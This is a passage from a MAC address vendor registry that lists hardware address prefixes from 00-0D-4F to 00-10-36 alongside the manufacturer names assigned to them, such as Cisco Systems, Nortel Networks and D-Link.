Co.,LTD. +00-0D-4F:Kenwood Corporation +00-0D-50:Galazar Networks +00-0D-51:DIVR Systems, Inc. +00-0D-52:Comart system +00-0D-53:Beijing 5w Communication Corp. +00-0D-54:3Com Europe Ltd +00-0D-55:SANYCOM Technology Co.,Ltd +00-0D-56:Dell PCBA Test +00-0D-57:Fujitsu I-Network Systems Limited. +00-0D-58:PRIVATE +00-0D-59:Amity Systems, Inc. +00-0D-5A:Tiesse SpA +00-0D-5B:Smart Empire Investments Limited +00-0D-5C:Robert Bosch GmbH, VT-ATMO +00-0D-5D:Raritan Computer, Inc +00-0D-5E:NEC CustomTechnica, Ltd. +00-0D-5F:Minds Inc +00-0D-60:IBM Corporation +00-0D-61:Giga-Byte Technology Co., Ltd. +00-0D-62:Funkwerk Dabendorf GmbH +00-0D-63:DENT Instruments, Inc. +00-0D-64:COMAG Handels AG +00-0D-65:Cisco Systems +00-0D-66:Cisco Systems +00-0D-67:BelAir Networks Inc. +00-0D-68:Vinci Systems, Inc. +00-0D-69:TMT&D Corporation +00-0D-6A:Redwood Technologies LTD +00-0D-6B:Mita-Teknik A/S +00-0D-6C:M-Audio +00-0D-6D:K-Tech Devices Corp. +00-0D-6E:K-Patents Oy +00-0D-6F:Ember Corporation +00-0D-70:Datamax Corporation +00-0D-71:boca systems +00-0D-72:2Wire, Inc +00-0D-73:Technical Support, Inc. +00-0D-74:Sand Network Systems, Inc. +00-0D-75:Kobian Pte Ltd - Taiwan Branch +00-0D-76:Hokuto Denshi Co,. Ltd. +00-0D-77:FalconStor Software +00-0D-78:Engineering & Security +00-0D-79:Dynamic Solutions Co,.Ltd. +00-0D-7A:DiGATTO Asia Pacific Pte Ltd +00-0D-7B:Consensys Computers Inc. +00-0D-7C:Codian Ltd +00-0D-7D:Afco Systems +00-0D-7E:Axiowave Networks, Inc. +00-0D-7F:MIDAS COMMUNICATION TECHNOLOGIES PTE LTD ( Foreign Branch) +00-0D-80:Online Development Inc +00-0D-81:Pepperl+Fuchs GmbH +00-0D-82:PHS srl +00-0D-83:Sanmina-SCI Hungary Ltd. +00-0D-84:Seodu Inchip, Inc. +00-0D-85:Tapwave, Inc. +00-0D-86:Huber + Suhner AG +00-0D-87:Elitegroup Computer System Co. (ECS) +00-0D-88:D-Link Corporation +00-0D-89:Bils Technology Inc +00-0D-8A:Winners Electronics Co., Ltd. +00-0D-8B:T&D Corporation +00-0D-8C:Shanghai Wedone Digital Ltd. CO. +00-0D-8D:ProLinx Communication Gateways, Inc. +00-0D-8E:Koden Electronics Co., Ltd. +00-0D-8F:King Tsushin Kogyo Co., LTD. +00-0D-90:Factum Electronics AB +00-0D-91:Eclipse (HQ Espana) S.L. +00-0D-92:Arima Communication Corporation +00-0D-93:Apple Computer +00-0D-94:AFAR Communications,Inc +00-0D-95:PRIVATE +00-0D-96:Vtera Technology Inc. +00-0D-97:Tropos Networks, Inc. +00-0D-98:S.W.A.C. Schmitt-Walter Automation Consult GmbH +00-0D-99:Orbital Sciences Corp.; Launch Systems Group +00-0D-9A:INFOTEC LTD +00-0D-9B:PRIVATE +00-0D-9C:Elan GmbH & Co KG +00-0D-9D:Hewlett Packard +00-0D-9E:TOKUDEN OHIZUMI SEISAKUSYO Co.,Ltd. +00-0D-9F:RF Micro Devices +00-0D-A0:NEDAP N.V. +00-0D-A1:MIRAE ITS Co.,LTD. +00-0D-A2:Infrant Technologies, Inc. +00-0D-A3:Emerging Technologies Limited +00-0D-A4:DOSCH & AMAND SYSTEMS AG +00-0D-A5:Fabric7 Systems, Inc +00-0D-A6:Universal Switching Corporation +00-0D-A7:PRIVATE +00-0D-A8:Teletronics Technology Corporation +00-0D-A9:T.E.A.M. S.L. +00-0D-AA:S.A.Tehnology co.,Ltd. +00-0D-AB:Parker Hannifin GmbH Electromechanical Division Europe +00-0D-AC:Japan CBM Corporation +00-0D-AD:Dataprobe Inc +00-0D-AE:SAMSUNG HEAVY INDUSTRIES CO., LTD. +00-0D-AF:Plexus Corp (UK) Ltd +00-0D-B0:Olym-tech Co.,Ltd. +00-0D-B1:Japan Network Service Co., Ltd. +00-0D-B2:Ammasso, Inc. +00-0D-B3:SDO Communication Corperation +00-0D-B4:NETASQ +00-0D-B5:GLOBALSAT TECHNOLOGY CORPORATION +00-0D-B6:Teknovus, Inc. +00-0D-B7:SANKO ELECTRIC CO,.LTD +00-0D-B8:SCHILLER AG +00-0D-B9:PC Engines GmbH +00-0D-BA:Oc Document Technologies GmbH +00-0D-BB:Nippon Dentsu Co.,Ltd. +00-0D-BC:Cisco Systems +00-0D-BD:Cisco Systems +00-0D-BE:Bel Fuse Europe Ltd.,UK +00-0D-BF:TekTone Sound & Signal Mfg., Inc. +00-0D-C0:Spagat AS +00-0D-C1:SafeWeb Inc +00-0D-C2:PRIVATE +00-0D-C3:First Communication, Inc. +00-0D-C4:Emcore Corporation +00-0D-C5:EchoStar International Corporation +00-0D-C6:DigiRose Technology Co., Ltd. +00-0D-C7:COSMIC ENGINEERING INC. +00-0D-C8:AirMagnet, Inc +00-0D-C9:THALES Elektronik Systeme GmbH +00-0D-CA:Tait Electronics +00-0D-CB:Petcomkorea Co., Ltd. +00-0D-CC:NEOSMART Corp. +00-0D-CD:GROUPE TXCOM +00-0D-CE:Dynavac Technology Pte Ltd +00-0D-CF:Cidra Corp. +00-0D-D0:TetraTec Instruments GmbH +00-0D-D1:Stryker Corporation +00-0D-D2:Simrad Optronics ASA +00-0D-D3:SAMWOO Telecommunication Co.,Ltd. +00-0D-D4:Revivio Inc. +00-0D-D5:O'RITE TECHNOLOGY CO.,LTD +00-0D-D6:PRIVATE +00-0D-D7:Bright +00-0D-D8:BBN +00-0D-D9:Anton Paar GmbH +00-0D-DA:ALLIED TELESIS K.K. +00-0D-DB:AIRWAVE TECHNOLOGIES INC. +00-0D-DC:VAC +00-0D-DD:PROFLO TELRA ELEKTRONK SANAY VE TCARET A.. +00-0D-DE:Joyteck Co., Ltd. +00-0D-DF:Japan Image & Network Inc. +00-0D-E0:ICPDAS Co.,LTD +00-0D-E1:Control Products, Inc. +00-0D-E2:CMZ Sistemi Elettronici +00-0D-E3:AT Sweden AB +00-0D-E4:DIGINICS, Inc. +00-0D-E5:Samsung Thales +00-0D-E6:YOUNGBO ENGINEERING CO.,LTD +00-0D-E7:Snap-on OEM Group +00-0D-E8:Nasaco Electronics Pte. Ltd +00-0D-E9:Napatech Aps +00-0D-EA:Kingtel Telecommunication Corp. +00-0D-EB:CompXs Limited +00-0D-EC:Cisco Systems +00-0D-ED:Cisco Systems +00-0D-EE:PRIVATE +00-0D-EF:Soc. Coop. Bilanciai +00-0D-F0:QCOM TECHNOLOGY INC. +00-0D-F1:IONIX INC. +00-0D-F2:PRIVATE +00-0D-F3:Asmax Solutions +00-0D-F4:Watertek Co. +00-0D-F5:Teletronics International Inc. +00-0D-F6:Technology Thesaurus Corp. +00-0D-F7:Space Dynamics Lab +00-0D-F8:ORGA Kartensysteme GmbH +00-0D-F9:NDS Limited +00-0D-FA:Micro Control Systems Ltd. +00-0D-FB:Komax AG +00-0D-FC:ITFOR Inc. resarch and development +00-0D-FD:Huges Hi-Tech Inc., +00-0D-FE:Hauppauge Computer Works, Inc. +00-0D-FF:CHENMING MOLD INDUSTRY CORP. +00-0E-00:PRIVATE +00-0E-01:ASIP Technologies Inc. +00-0E-02:Advantech AMT Inc. +00-0E-03:Aarohi Communications, Inc. +00-0E-04:PRIVATE +00-0E-05:WIRELESS MATRIX CORP. +00-0E-06:Team Simoco Ltd +00-0E-07:Sony Ericsson Mobile Communications AB +00-0E-08:Sipura Technology, Inc. +00-0E-09:Shenzhen Coship Software Co.,LTD. +00-0E-0A:PRIVATE +00-0E-0B:Netac Technology Co., Ltd. +00-0E-0C:Intel Corporation +00-0E-0D:HESCH Schrder GmbH +00-0E-0E:ESA elettronica S.P.A. +00-0E-0F:ERMME +00-0E-10:PRIVATE +00-0E-11:BDT Bro- und Datentechnik GmbH & Co. KG +00-0E-12:Adaptive Micro Systems Inc. +00-0E-13:Accu-Sort Systems inc. +00-0E-14:Visionary Solutions, Inc. +00-0E-15:Tadlys LTD +00-0E-16:SouthWing +00-0E-17:PRIVATE +00-0E-18:MyA Technology +00-0E-19:LogicaCMG Pty Ltd +00-0E-1A:PRIVATE +00-0E-1B:IAV GmbH +00-0E-1C:Hach Company +00-0E-1D:PRIVATE +00-0E-1E:PRIVATE +00-0E-1F:TCL Networks Equipment Co., Ltd. +00-0E-20:PalmSource, Inc. +00-0E-21:MTU Friedrichshafen GmbH +00-0E-22:PRIVATE +00-0E-23:Incipient, Inc. +00-0E-24:PRIVATE +00-0E-25:Hannae Technology Co., Ltd +00-0E-26:Gincom Technology Corp. +00-0E-27:Crere Networks, Inc. +00-0E-28:Dynamic Ratings P/L +00-0E-29:Shester Communications Inc +00-0E-2A:PRIVATE +00-0E-2B:Safari Technologies +00-0E-2C:Netcodec co. +00-0E-2D:Hyundai Digital Technology Co.,Ltd. +00-0E-2E:Edimax Technology Co., Ltd. +00-0E-2F:Disetronic Medical Systems AG +00-0E-30:AERAS Networks, Inc. +00-0E-31:Olympus BioSystems GmbH +00-0E-32:Kontron Medical +00-0E-33:Shuko Electronics Co.,Ltd +00-0E-34:NexGen City, LP +00-0E-35:Intel Corp +00-0E-36:HEINESYS, Inc. +00-0E-37:Harms & Wende GmbH & Co.KG +00-0E-38:Cisco Systems +00-0E-39:Cisco Systems +00-0E-3A:Cirrus Logic +00-0E-3B:Hawking Technologies, Inc. +00-0E-3C:TransAct Technoloiges Inc. +00-0E-3D:Televic N.V. +00-0E-3E:Sun Optronics Inc +00-0E-3F:Soronti, Inc. +00-0E-40:Nortel Networks +00-0E-41:NIHON MECHATRONICS CO.,LTD. +00-0E-42:Motic Incoporation Ltd. +00-0E-43:G-Tek Electronics Sdn. Bhd. +00-0E-44:Digital 5, Inc. +00-0E-45:Beijing Newtry Electronic Technology Ltd +00-0E-46:Niigata Seimitsu Co.,Ltd. +00-0E-47:NCI System Co.,Ltd. +00-0E-48:Lipman TransAction Solutions +00-0E-49:Forsway Scandinavia AB +00-0E-4A:Changchun Huayu WEBPAD Co.,LTD +00-0E-4B:atrium c and i +00-0E-4C:Bermai Inc. +00-0E-4D:Numesa Inc. +00-0E-4E:Waveplus Technology Co., Ltd. +00-0E-4F:Trajet GmbH +00-0E-50:Thomson Multi Media +00-0E-51:tecna elettronica srl +00-0E-52:Optium Corporation +00-0E-53:AV TECH CORPORATION +00-0E-54:AlphaCell Wireless Ltd. +00-0E-55:AUVITRAN +00-0E-56:4G Systems GmbH +00-0E-57:Iworld Networking, Inc. +00-0E-58:Rincon Networks +00-0E-59:PRIVATE +00-0E-5A:TELEFIELD inc. +00-0E-5B:ParkerVision - Direct2Data +00-0E-5C:Motorola BCS +00-0E-5D:Com-X Networks +00-0E-5E:Beijing Raisecom Science & Technology Development Co.,Ltd +00-0E-5F:activ-net GmbH & Co. KG +00-0E-60:360SUN Digital Broadband Corporation +00-0E-61:MICROTROL LIMITED +00-0E-62:Nortel Networks +00-0E-63:Lemke Diagnostics GmbH +00-0E-64:Elphel, Inc +00-0E-65:TransCore +00-0E-66:Hitachi Advanced Digital, Inc. +00-0E-67:Eltis Microelectronics Ltd. +00-0E-68:E-TOP Network Technology Inc. +00-0E-69:China Electric Power Research Institute +00-0E-6A:3COM EUROPE LTD +00-0E-6B:Janitza electronics GmbH +00-0E-6C:Device Drivers Limited +00-0E-6D:Murata Manufacturing Co., Ltd. +00-0E-6E:MICRELEC ELECTRONICS S.A +00-0E-6F:IRIS Corporation Berhad +00-0E-70:in2 Networks +00-0E-71:Gemstar Technology Development Ltd. +00-0E-72:CTS electronics +00-0E-73:Tpack A/S +00-0E-74:Solar Telecom. Tech +00-0E-75:New York Air Brake Corp. +00-0E-76:GEMSOC INNOVISION INC. +00-0E-77:Decru, Inc. +00-0E-78:Amtelco +00-0E-79:Ample Communications Inc. +00-0E-7A:PRIVATE +00-0E-7B:Toshiba +00-0E-7C:PRIVATE +00-0E-7D:Electronics Line 3000 Ltd. +00-0E-7E:Comprog Oy +00-0E-7F:Hewlett Packard +00-0E-80:PRIVATE +00-0E-81:Instant802 Networks Inc. +00-0E-82:Commtech Wireless +00-0E-83:Cisco Systems +00-0E-84:Cisco Systems +00-0E-85:Catalyst Enterprises, Inc. +00-0E-86:Alcatel North America +00-0E-87:adp Gauselmann GmbH +00-0E-88:VIDEOTRON CORP. +00-0E-89:CLEMATIC +00-0E-8A:Avara Technologies Pty. Ltd. +00-0E-8B:Astarte Technology Co, Ltd. +00-0E-8C:Siemens AG A&D ET +00-0E-8D:Systems in Progress Holding GmbH +00-0E-8E:SparkLAN Communications, Inc. +00-0E-8F:Sercomm Corp. +00-0E-90:PONICO CORP. +00-0E-91:PRIVATE +00-0E-92:Millinet Co., Ltd. +00-0E-93:Milnio 3 Sistemas Electrnicos, Lda. +00-0E-94:Maas International BV +00-0E-95:Fujiya Denki Seisakusho Co.,Ltd. +00-0E-96:Cubic Defense Applications, Inc. +00-0E-97:Ultracker Technology CO., Inc +00-0E-98:Vitec CC, INC. +00-0E-99:Spectrum Digital, Inc +00-0E-9A:BOE TECHNOLOGY GROUP CO.,LTD +00-0E-9B:PRIVATE +00-0E-9C:Pemstar +00-0E-9D:Video Networks Ltd +00-0E-9E:Topfield Co., Ltd +00-0E-9F:TEMIC SDS GmbH +00-0E-A0:NetKlass Technology Inc. +00-0E-A1:Formosa Teletek Corporation +00-0E-A2:CyberGuard Corporation +00-0E-A3:CNCR-IT CO.,LTD,HangZhou P.R.CHINA +00-0E-A4:Certance Inc. +00-0E-A5:BLIP Systems +00-0E-A6:ASUSTEK COMPUTER INC. +00-0E-A7:Endace Inc Ltd. +00-0E-A8:United Technologists Europe Limited +00-0E-A9:Shanghai Xun Shi Communications Equipment Ltd. Co. +00-0E-AA:PRIVATE +00-0E-AB:PRIVATE +00-0E-AC:MINTRON ENTERPRISE CO., LTD. +00-0E-AD:Metanoia Technologies, Inc. +00-0E-AE:GAWELL TECHNOLOGIES CORP. +00-0E-AF:CASTEL +00-0E-B0:Solutions Radio BV +00-0E-B1:Newcotech,Ltd +00-0E-B2:Micro-Research Finland Oy +00-0E-B3:LeftHand Networks +00-0E-B4:GUANGZHOU GAOKE COMMUNICATIONS TECHNOLOGY CO.LTD. +00-0E-B5:Ecastle Electronics Co., Ltd. +00-0E-B6:Riverbed Technology, Inc. +00-0E-B7:Knovative, Inc. +00-0E-B8:Iiga co.,Ltd +00-0E-B9:HASHIMOTO Electronics Industry Co.,Ltd. +00-0E-BA:HANMI SEMICONDUCTOR CO., LTD. +00-0E-BB:Everbee Networks +00-0E-BC:Cullmann GmbH +00-0E-BD:Burdick, a Quinton Compny +00-0E-BE:B&B Electronics Manufacturing Co. +00-0E-BF:PRIVATE +00-0E-C0:Nortel Networks +00-0E-C1:MYNAH Technologies +00-0E-C2:Lowrance Electronics, Inc. +00-0E-C3:Logic Controls, Inc. +00-0E-C4:Iskra Transmission d.d. +00-0E-C5:PRIVATE +00-0E-C6:ASIX ELECTRONICS CORP. +00-0E-C7:Appeal Telecom Co.,Ltd. +00-0E-C8:Zoran Corporation +00-0E-C9:YOKO Technology Corp. +00-0E-CA:PRIVATE +00-0E-CB:VineSys Technology +00-0E-CC:Tableau +00-0E-CD:SKOV A/S +00-0E-CE:S.I.T.T.I. S.p.A. +00-0E-CF:PROFIBUS Nutzerorganisation e.V. +00-0E-D0:Privaris, Inc. +00-0E-D1:Osaka Micro Computer. +00-0E-D2:Filtronic plc +00-0E-D3:Epicenter, Inc. +00-0E-D4:CRESITT INDUSTRIE +00-0E-D5:COPAN Systems Inc. +00-0E-D6:Cisco Systems +00-0E-D7:Cisco Systems +00-0E-D8:Aktino, Inc. +00-0E-D9:Aksys, Ltd. +00-0E-DA:C-TECH UNITED CORP. +00-0E-DB:XiNCOM Corp. +00-0E-DC:Tellion INC. +00-0E-DD:SHURE INCORPORATED +00-0E-DE:REMEC, Inc. +00-0E-DF:PLX Technology +00-0E-E0:Mcharge +00-0E-E1:ExtremeSpeed Inc. +00-0E-E2:Custom Engineering S.p.A. +00-0E-E3:Chiyu Technology Co.,Ltd +00-0E-E4:PRIVATE +00-0E-E5:bitWallet, Inc. +00-0E-E6:Adimos Systems LTD +00-0E-E7:AAC ELECTRONICS CORP. +00-0E-E8:zioncom +00-0E-E9:WayTech Development, Inc. +00-0E-EA:Shadong Luneng Jicheng Electronics,Co.,Ltd +00-0E-EB:Sandmartin(zhong shan)Electronics Co.,Ltd +00-0E-EC:Orban +00-0E-ED:Nokia Danmark A/S +00-0E-EE:Muco Industrie BV +00-0E-EF:PRIVATE +00-0E-F0:Festo AG & Co. KG +00-0E-F1:EZQUEST INC. +00-0E-F2:World Axle Corporation +00-0E-F3:Smarthome +00-0E-F4:Shenzhen Kasda Digital Technology Co.,Ltd +00-0E-F5:iPAC Technology Co., Ltd. +00-0E-F6:E-TEN Information Systems Co., Ltd. +00-0E-F7:Vulcan Portals Inc +00-0E-F8:SBC ASI +00-0E-F9:REA Elektronik GmbH +00-0E-FA:Optoway Technology Incorporation +00-0E-FB:Macey Enterprises +00-0E-FC:JTAG Technologies B.V. +00-0E-FD:FUJI PHOTO OPTICAL CO., LTD. +00-0E-FE:EndRun Technologies LLC +00-0E-FF:Megasolution,Inc. +00-0F-00:Legra Systems, Inc. +00-0F-01:DIGITALKS INC +00-0F-02:Digicube Technology Co., Ltd +00-0F-03:COM&C CO., LTD +00-0F-04:cim-usa inc +00-0F-05:3B SYSTEM INC. +00-0F-06:Nortel Networks +00-0F-07:Mangrove Systems, Inc. +00-0F-08:Indagon Oy +00-0F-09:PRIVATE +00-0F-0A:PRIVATE +00-0F-0B:Kentima Technologies AB +00-0F-0C:SYNCHRONIC ENGINEERING +00-0F-0D:Hunt Electronic Co., Ltd. +00-0F-0E:WaveSplitter Technologies, Inc. +00-0F-0F:Real ID Technology Co., Ltd. +00-0F-10:RDM Corporation +00-0F-11:Prodrive B.V. +00-0F-12:Panasonic AVC Networks Germany GmbH +00-0F-13:Nisca corporation +00-0F-14:Mindray Co., Ltd. +00-0F-15:Kjaerulff1 A/S +00-0F-16:JAY HOW TECHNOLOGY CO., +00-0F-17:Insta Elektro GmbH +00-0F-18:Industrial Control Systems +00-0F-19:Guidant Corporation +00-0F-1A:Gaming Support B.V. +00-0F-1B:Ego Systems Inc. +00-0F-1C:DigitAll World Co., Ltd +00-0F-1D:Cosmo Techs Co., Ltd. +00-0F-1E:Chengdu KT Electric Co.of High & New Technology +00-0F-1F:WW PCBA Test +00-0F-20:Hewlett Packard +00-0F-21:Scientific Atlanta, Inc +00-0F-22:Helius, Inc. +00-0F-23:Cisco Systems +00-0F-24:Cisco Systems +00-0F-25:AimValley B.V. +00-0F-26:WorldAccxx LLC +00-0F-27:TEAL Electronics, Inc. +00-0F-28:Itronix Corporation +00-0F-29:Augmentix Corporation +00-0F-2A:Cableware Electronics +00-0F-2B:GREENBELL SYSTEMS +00-0F-2C:Uplogix, Inc. +00-0F-2D:CHUNG-HSIN ELECTRIC & MACHINERY MFG.CORP. +00-0F-2E:Megapower International Corp. +00-0F-2F:W-LINX TECHNOLOGY CO., LTD. +00-0F-30:Raza Microelectronics Inc +00-0F-31:Prosilica +00-0F-32:LuTong Electronic Technology Co.,Ltd +00-0F-33:DUALi Inc. +00-0F-34:Cisco Systems +00-0F-35:Cisco Systems +00-0F-36:Accurate Techhnologies, Inc. +00-0F-37:Xambala Incorporated +00-0F-38:Netstar +00-0F-39:IRIS SENSORS +00-0F-3A:HISHARP +00-0F-3B:Fuji System Machines Co., Ltd. +00-0F-3C:Endeleo Limited +00-0F-3D:D-Link Corporation +00-0F-3E:CardioNet, Inc +00-0F-3F:Big Bear Networks +00-0F-40:Optical Internetworking Forum +00-0F-41:Zipher Ltd +00-0F-42:Xalyo Systems +00-0F-43:Wasabi Systems Inc. +00-0F-44:Tivella Inc. +00-0F-45:Stretch, Inc. +00-0F-46:SINAR AG +00-0F-47:ROBOX SPA +00-0F-48:Polypix Inc. +00-0F-49:Northover Solutions Limited +00-0F-4A:Kyushu-kyohan co.,ltd +00-0F-4B:Katana Technology +00-0F-4C:Elextech INC +00-0F-4D:Centrepoint Technologies Inc. +00-0F-4E:Cellink +00-0F-4F:Cadmus Technology Ltd +00-0F-50:BraddaHead Limited +00-0F-51:PRIVATE +00-0F-52:YORK Refrigeration, Marine & Controls +00-0F-53:Level 5 Networks, Inc. +00-0F-54:Entrelogic Corporation +00-0F-55:Datawire Communication Networks Inc. +00-0F-56:Continuum Photonics Inc +00-0F-57:CABLELOGIC Co., Ltd. +00-0F-58:Adder Technology Limited +00-0F-59:Phonak Communications AG +00-0F-5A:Peribit Networks +00-0F-5B:Delta Information Systems, Inc. +00-0F-5C:Day One Digital Media Limited +00-0F-5D:42Networks AB +00-0F-5E:Veo +00-0F-5F:Nicety Technologies Inc. (NTS) +00-0F-60:Lifetron Co.,Ltd +00-0F-61:Kiwi Networks +00-0F-62:Alcatel Bell Space N.V. +00-0F-63:Obzerv Technologies +00-0F-64:D&R Electronica Weesp BV +00-0F-65:icube Corp. +00-0F-66:Cisco-Linksys +00-0F-67:West Instruments +00-0F-68:Vavic Network Technology, Inc. +00-0F-69:SEW Eurodrive GmbH & Co. KG +00-0F-6A:Nortel Networks +00-0F-6B:GateWare Communications GmbH +00-0F-6C:ADDI-DATA GmbH +00-0F-6D:Midas Engineering +00-0F-6E:BBox +00-0F-6F:FTA Communication Technologies +00-0F-70:Wintec Industries, inc. +00-0F-71:Sanmei Electronics Co.,Ltd +00-0F-72:Sandburst +00-0F-73:Rockwell Samsung Automation +00-0F-74:Qamcom Technology AB +00-0F-75:First Silicon Solutions +00-0F-76:Digital Keystone, Inc. +00-0F-77:DENTUM CO.,LTD +00-0F-78:Datacap Systems Inc +00-0F-79:Bluetooth Interest Group Inc. +00-0F-7A:BeiJing NuQX Technology CO.,LTD +00-0F-7B:Arce Sistemas, S.A. +00-0F-7C:ACTi Corporation +00-0F-7D:Xirrus +00-0F-7E:UIS Abler Electronics Co.,Ltd. +00-0F-7F:UBSTORAGE Co.,Ltd. +00-0F-80:Trinity Security Systems,Inc. +00-0F-81:Secure Info Imaging +00-0F-82:Mortara Instrument, Inc. +00-0F-83:Brainium Technologies Inc. +00-0F-84:Astute Networks, Inc. +00-0F-85:ADDO-Japan Corporation +00-0F-86:PRIVATE +00-0F-87:Maxcess International +00-0F-88:AMETEK, Inc. +00-0F-89:Winnertec System Co., Ltd. +00-0F-8A:WideView +00-0F-8B:Orion MultiSystems Inc +00-0F-8C:Gigawavetech Pte Ltd +00-0F-8D:FAST TV-Server AG +00-0F-8E:DONGYANG TELECOM CO.,LTD. +00-0F-8F:Cisco Systems +00-0F-90:Cisco Systems +00-0F-91:Aerotelecom Co.,Ltd. +00-0F-92:Microhard Systems Inc. +00-0F-93:Landis+Gyr Ltd. +00-0F-94:Genexis +00-0F-95:ELECOM Co.,LTD Laneed Division +00-0F-96:Critical Telecom Corp. +00-0F-97:Avanex Corporation +00-0F-98:Avamax Co. Ltd. +00-0F-99:APAC opto Electronics Inc. +00-0F-9A:Synchrony, Inc. +00-0F-9B:Ross Video Limited +00-0F-9C:Panduit Corp +00-0F-9D:Newnham Research Ltd +00-0F-9E:Murrelektronik GmbH +00-0F-9F:Motorola BCS +00-0F-A0:Lotte Canon Co., Ltd. +00-0F-A1:Gigabit Systems Inc. +00-0F-A2:Digital Path Networks +00-0F-A3:Alpha Networks Inc. +00-0F-A4:Sprecher Automation GmbH +00-0F-A5:SMP / BWA Technology GmbH +00-0F-A6:S2 Security Corporation +00-0F-A7:Raptor Networks Technology +00-0F-A8:Photometrics, Inc. +00-0F-A9:PC Fabrik +00-0F-AA:Nexus Technologies +00-0F-AB:Kyushu Electronics Systems Inc. +00-0F-AC:IEEE 802.11 +00-0F-AD:FMN communications GmbH +00-0F-AE:E2O Communications +00-0F-AF:Dialog Inc. +00-0F-B0:Compal Electronics,INC. +00-0F-B1:Cognio Inc. +00-0F-B2:Broadband Pacenet (India) Pvt. Ltd. +00-0F-B3:Actiontec Electronics, Inc +00-0F-B4:Timespace Technology +00-0F-B5:NETGEAR Inc +00-0F-B6:Europlex Technologies +00-0F-B7:Cavium Networks +00-0F-B8:CallURL Inc. +00-0F-B9:Adaptive Instruments +00-0F-BA:Tevebox AB +00-0F-BB:Siemens AG, ICN M&L TDC EP +00-0F-BC:Onkey Technologies, Inc. +00-0F-BD:MRV Communications (Networks) LTD +00-0F-BE:e-w/you Inc. +00-0F-BF:DGT Sp. z o.o. +00-0F-C0:DELCOMp +00-0F-C1:WAVE Corporation +00-0F-C2:Uniwell Corporation +00-0F-C3:PalmPalm Technology, Inc. +00-0F-C4:NST co.,LTD. +00-0F-C5:KeyMed Ltd +00-0F-C6:Eurocom Industries A/S +00-0F-C7:Dionica R&D Ltd. +00-0F-C8:Chantry Networks +00-0F-C9:Allnet GmbH +00-0F-CA:A-JIN TECHLINE CO, LTD +00-0F-CB:3COM EUROPE LTD +00-0F-CC:Netopia, Inc. +00-0F-CD:Nortel Networks +00-0F-CE:Kikusui Electronics Corp. +00-0F-CF:Datawind Research +00-0F-D0:ASTRI +00-0F-D1:Applied Wireless Identifications Group, Inc. +00-0F-D2:EWA Technologies, Inc. +00-0F-D3:Digium +00-0F-D4:Soundcraft +00-0F-D5:Schwechat - RISE +00-0F-D6:Sarotech Co., Ltd +00-0F-D7:Harman Music Group +00-0F-D8:Force, Inc. +00-0F-D9:FlexDSL Telecommunications AG +00-0F-DA:YAZAKI CORPORATION +00-0F-DB:Westell Technologies +00-0F-DC:Ueda Japan Radio Co., Ltd. +00-0F-DD:SORDIN AB +00-0F-DE:Sony Ericsson Mobile Communications AB +00-0F-DF:SOLOMON Technology Corp. +00-0F-E0:NComputing Co.,Ltd. +00-0F-E1:ID DIGITAL CORPORATION +00-0F-E2:Hangzhou Huawei-3Com Tech. Co., Ltd. +00-0F-E3:Damm Cellular Systems A/S +00-0F-E4:Pantech Co.,Ltd +00-0F-E5:MERCURY SECURITY CORPORATION +00-0F-E6:MBTech Systems, Inc. +00-0F-E7:Lutron Electronics Co., Inc. +00-0F-E8:Lobos, Inc. +00-0F-E9:GW TECHNOLOGIES CO.,LTD. +00-0F-EA:Giga-Byte Technology Co.,LTD. +00-0F-EB:Cylon Controls +00-0F-EC:Arkus Inc. +00-0F-ED:Anam Electronics Co., Ltd +00-0F-EE:XTec, Incorporated +00-0F-EF:Thales e-Transactions GmbH +00-0F-F0:Sunray Enterprise +00-0F-F1:nex-G Systems Pte.Ltd +00-0F-F2:Loud Technologies Inc. +00-0F-F3:Jung Myoung Communications&Technology +00-0F-F4:Guntermann & Drunck GmbH +00-0F-F5:GN&S company +00-0F-F6:Darfon Electronics Corp. +00-0F-F7:Cisco Systems +00-0F-F8:Cisco Systems +00-0F-F9:Valcretec, Inc. +00-0F-FA:Optinel Systems, Inc. +00-0F-FB:Nippon Denso Industry Co., Ltd. +00-0F-FC:Merit Li-Lin Ent. +00-0F-FD:Glorytek Network Inc. +00-0F-FE:G-PRO COMPUTER +00-0F-FF:Control4 +00-10-00:CABLE TELEVISION LABORATORIES, INC. +00-10-01:MCK COMMUNICATIONS +00-10-02:ACTIA +00-10-03:IMATRON, INC. +00-10-04:THE BRANTLEY COILE COMPANY,INC +00-10-05:UEC COMMERCIAL +00-10-06:Thales Contact Solutions Ltd. +00-10-07:CISCO SYSTEMS, INC. +00-10-08:VIENNA SYSTEMS CORPORATION +00-10-09:HORO QUARTZ +00-10-0A:WILLIAMS COMMUNICATIONS GROUP +00-10-0B:CISCO SYSTEMS, INC. +00-10-0C:ITO CO., LTD. +00-10-0D:CISCO SYSTEMS, INC. +00-10-0E:MICRO LINEAR COPORATION +00-10-0F:INDUSTRIAL CPU SYSTEMS +00-10-10:INITIO CORPORATION +00-10-11:CISCO SYSTEMS, INC. +00-10-12:PROCESSOR SYSTEMS (I) PVT LTD +00-10-13:INDUSTRIAL COMPUTER SOURCE +00-10-14:CISCO SYSTEMS, INC. +00-10-15:OOmon Inc. +00-10-16:T.SQWARE +00-10-17:MICOS GmbH +00-10-18:BROADCOM CORPORATION +00-10-19:SIRONA DENTAL SYSTEMS GmbH & Co. KG +00-10-1A:PictureTel Corp. +00-10-1B:CORNET TECHNOLOGY, INC. +00-10-1C:OHM TECHNOLOGIES INTL, LLC +00-10-1D:WINBOND ELECTRONICS CORP. +00-10-1E:MATSUSHITA ELECTRONIC INSTRUMENTS CORP. +00-10-1F:CISCO SYSTEMS, INC. +00-10-20:WELCH ALLYN, DATA COLLECTION +00-10-21:ENCANTO NETWORKS, INC. +00-10-22:SatCom Media Corporation +00-10-23:FLOWWISE NETWORKS, INC. +00-10-24:NAGOYA ELECTRIC WORKS CO., LTD +00-10-25:GRAYHILL INC. +00-10-26:ACCELERATED NETWORKS, INC. +00-10-27:L-3 COMMUNICATIONS EAST +00-10-28:COMPUTER TECHNICA, INC. +00-10-29:CISCO SYSTEMS, INC. +00-10-2A:ZF MICROSYSTEMS, INC. +00-10-2B:UMAX DATA SYSTEMS, INC. +00-10-2C:Lasat Networks A/S +00-10-2D:HITACHI SOFTWARE ENGINEERING +00-10-2E:NETWORK SYSTEMS & TECHNOLOGIES PVT. LTD. +00-10-2F:CISCO SYSTEMS, INC. +00-10-30:Wi-LAN, Inc. +00-10-31:OBJECTIVE COMMUNICATIONS, INC. +00-10-32:ALTA TECHNOLOGY +00-10-33:ACCESSLAN COMMUNICATIONS, INC. +00-10-34:GNP Computers +00-10-35:ELITEGROUP COMPUTER SYSTEMS CO., LTD +00-10-36:INTER-TEL INTEGRATED SYSTEMS 